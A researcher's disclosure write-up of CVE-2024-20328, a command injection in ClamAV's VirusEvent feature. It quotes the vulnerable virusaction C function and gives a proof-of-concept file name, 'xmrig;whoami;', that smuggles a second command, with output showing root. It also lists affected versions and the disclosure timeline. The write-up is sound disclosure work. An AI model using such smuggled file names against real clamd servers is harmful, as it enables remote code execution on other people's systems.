CVE-2024-20328 - ClamAV Not So Calm
Introduction
On Janurary 2nd, 2024, I found a vulnerability in ClamAV, a popular open-source antivirus engine.
A crafted file name can cause a command injection vulnerability in ClamAV’s VirusEvent
feature. This can be exploited by an attacker to execute arbitrary code on the system running ClamAV - clamd.
Since ClamAV is being used as an antivirus engine to scan files especially in mail servers, this vulnerability can be exploited by an attacker to execute arbitrary code on the system running ClamAV - clamd from remote without user interaction.
Vulnerability
The VirusEvent
feature allows Clamd to execute a command when a virus is detected. The command is executed in the following format:
VirusEvent /usr/local/bin/send_sms 123456789 "VIRUS ALERT: %v in %f"
Where %v
is the virus name and %f
is the file name. The file name is not sanitized, allowing an attacker to inject a command into the command string.
VirusEvent
is a configuration option in the clamd.conf
file. The command is executed with the privileges of the user running Clamd.
In the file clamd/clamd_others.c
, the function virusaction
is the function that handles the VirusEvent
feature. The function is defined as follows:
void virusaction(const char *filename, const char *virname,
const struct optstruct *opts)
{
pid_t pid;
const struct optstruct *opt;
char *buffer_file, *buffer_vir, *buffer_cmd, *path;
const char *pt;
size_t i, j, v = 0, f = 0, len;
char *env[4];
if (!(opt = optget(opts, "VirusEvent"))->enabled)
return;
path = getenv("PATH");
env[0] = path ? strdup(path) : NULL;
j = env[0] ? 1 : 0;
/* Allocate env vars.. to be portable env vars should not be freed */
buffer_file =
(char *)malloc(strlen(VE_FILENAME) + strlen(filename) + 2);
if (buffer_file) {
sprintf(buffer_file, "%s=%s", VE_FILENAME, filename);
env[j++] = buffer_file;
}
buffer_vir =
(char *)malloc(strlen(VE_VIRUSNAME) + strlen(virname) + 2);
if (buffer_vir) {
sprintf(buffer_vir, "%s=%s", VE_VIRUSNAME, virname);
env[j++] = buffer_vir;
}
env[j++] = NULL;
pt = opt->strarg;
while ((pt = strstr(pt, "%v"))) {
pt += 2;
v++;
}
pt = opt->strarg;
while ((pt = strstr(pt, "%f"))) {
pt += 2;
f++;
}
len = strlen(opt->strarg);
buffer_cmd =
(char *)calloc(len + v * strlen(virname) + f * strlen(filename) + 1, sizeof(char));
if (!buffer_cmd) {
if (path)
xfree(env[0]);
xfree(buffer_file);
xfree(buffer_vir);
return;
}
for (i = 0, j = 0; i < len; i++) {
if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'v') {
strcat(buffer_cmd, virname);
j += strlen(virname);
i++;
} else if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'f') {
strcat(buffer_cmd, filename);
j += strlen(filename);
i++;
} else {
buffer_cmd[j++] = opt->strarg[i];
}
}
pthread_mutex_lock(&virusaction_lock);
/* We can only call async-signal-safe functions after fork(). */
pid = vfork();
if (pid == 0) { /* child */
_exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env));
} else if (pid > 0) { /* parent */
pthread_mutex_unlock(&virusaction_lock);
while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) continue;
} else {
pthread_mutex_unlock(&virusaction_lock);
logg(LOGG_ERROR, "VirusEvent: fork failed.\n");
}
if (path)
xfree(env[0]);
xfree(buffer_cmd);
xfree(buffer_file);
xfree(buffer_vir);
}
The function first checks if the VirusEvent
feature is enabled. If it is, it then gets the PATH
environment variable and stores it in env[0]
. It then allocates memory for the VE_FILENAME
and VE_VIRUSNAME
environment variables, and stores them in env[1]
and env[2]
respectively. It then allocates memory for the command string, and replaces %v
and %f
with the virus name and file name respectively. It then calls vfork()
to create a child process, and executes the command string in the child process. The parent process waits for the child process to finish executing the command string.
The vulnerability is in the way buffer_cmd
being handled without being sanitized. An attacker can inject a command into the command string, and execute arbitrary code on the system running Clamd.
The following line is the vulnerable line:
_exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env));
Exploit
Assuming clamd.conf is configured as follows:
VirusEvent "echo VIRUS DETECTED: %v in the path %f >> /dev/stdout"
The following file name will cause the command to be executed:
# xmrig;whoami; - payload.
echo VIRUS DETECTED: [signature] in the path xmrig;whoami; >> /dev/stdout
Output:
VIRUS DETECTED: Multios.Coinminer.Miner-6781728-2.UNOFFICIAL in the path
/host/crypto-miner/xmrig
root
Who is affected?
- 0.104 (all patch versions)
- 0.105 (all patch versions)
- 1.0.0 through 1.0.4 (LTS)
- 1.1 (all patch versions)
- 1.2.0 and 1.2.1
Timeline
- Janurary 2nd, 2024 - Vulnerability found.
- Janurary 2nd, 2024 - Vulnerability reported to ClamAV team.
- Feburary 7th, 2024 - Vulnerability fixed by ClamAV team.